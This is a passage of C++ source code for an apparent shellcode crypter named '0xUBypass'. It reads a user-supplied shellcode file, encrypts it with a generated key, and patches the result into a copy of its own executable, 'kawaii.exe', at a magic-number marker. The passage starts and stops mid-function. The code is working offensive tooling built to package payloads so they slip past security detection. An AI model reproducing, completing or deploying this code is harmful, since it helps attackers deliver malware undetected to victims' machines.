| 40 | } |
| 41 | |
| 42 | int en(int argc, char **argv) { |
| 43 | if (argc != 2) { |
| 44 | cout << "Usage: 0xUBypass.exe [shellcode_path]" << endl |
| 45 | << "shellcode_path is a relative path to the binary file contains all your shellcode"; |
| 46 | return -1; |
| 47 | } |
| 48 | |
| 49 | string public_key, private_key; |
| 50 | GenerateKey(public_key, private_key); |
| 51 | |
| 52 | cout << "[*] Generated Private Key => " << private_key << endl; |
| 53 | |
| 54 | ifstream input_shellcode(string("./") + argv[1], ios::in | ios::binary); |
| 55 | if (!input_shellcode.is_open()) { |
| 56 | cout << "Failed - Make sure your shellcode file exists and readable" << endl; |
| 57 | return -1; |
| 58 | } |
| 59 | |
| 60 | uint8_t tmp_shell[MAX_SHELLCODE] = { 0 }; |
| 61 | input_shellcode.read((char *)tmp_shell, MAX_SHELLCODE); |
| 62 | size_t size = input_shellcode.gcount(); |
| 63 | if (size <= 0) { |
| 64 | cout << "Failed - Empty shellcode file or an unexpected error occurred" << endl; |
| 65 | return -1; |
| 66 | } |
| 67 | |
| 68 | //padding to ENCRYPT_BLOCK_SIZE |
| 69 | size = CEIL(size, (ENCRYPT_BLOCK_SIZE / 8)) * (ENCRYPT_BLOCK_SIZE / 8); |
| 70 | |
| 71 | cout << "[*] Your Padding Original Shellcode Size is " << size << endl; |
| 72 | cout << "[*] Your Padding Encrypted Shellcode Size is " << NEEDED_ENCRYPT_LENGTH(size) << endl; |
| 73 | //encrypt |
| 74 | EncryptShell(tmp_shell, size, shellcode.shellcode, NEEDED_ENCRYPT_LENGTH(size), public_key); |
| 75 | |
| 76 | cout << "[*] Your Encrypted Shellcode is "; |
| 77 | for (int i = 0; i < NEEDED_ENCRYPT_LENGTH(size); i++) { |
| 78 | printf("%02x", shellcode.shellcode[i]); |
| 79 | } |
| 80 | cout << endl; |
| 81 | |
| 82 | //remove old |
| 83 | remove("kawaii.exe"); |
| 84 | cout << "[*] Removed old binary file" << endl; |
| 85 | |
| 86 | //copy self |
| 87 | ifstream exec(argv[0], ios::in | ios::binary); |
| 88 | ofstream patched("kawaii.exe", ios::out | ios::binary); |
| 89 | |
| 90 | uint8_t magic_number[] = { |
| 91 | MAGIC |
| 92 | }; |
| 93 | |
| 94 | uint8_t *buffer = (uint8_t *)malloc(1024 * 1024); |
| 95 | memset(buffer, 0, sizeof(buffer)); |
| 96 | exec.read((char *)buffer, 1024 * 1024); |
| 97 | int p = seeking((char *)buffer, exec.gcount(), (char *)magic_number, sizeof(magic_number)); |
| 98 | if (p >= 0) { |
| 99 | for (int i = 0; i < NEEDED_ENCRYPT_LENGTH(size); i++) { |
no test coverage detected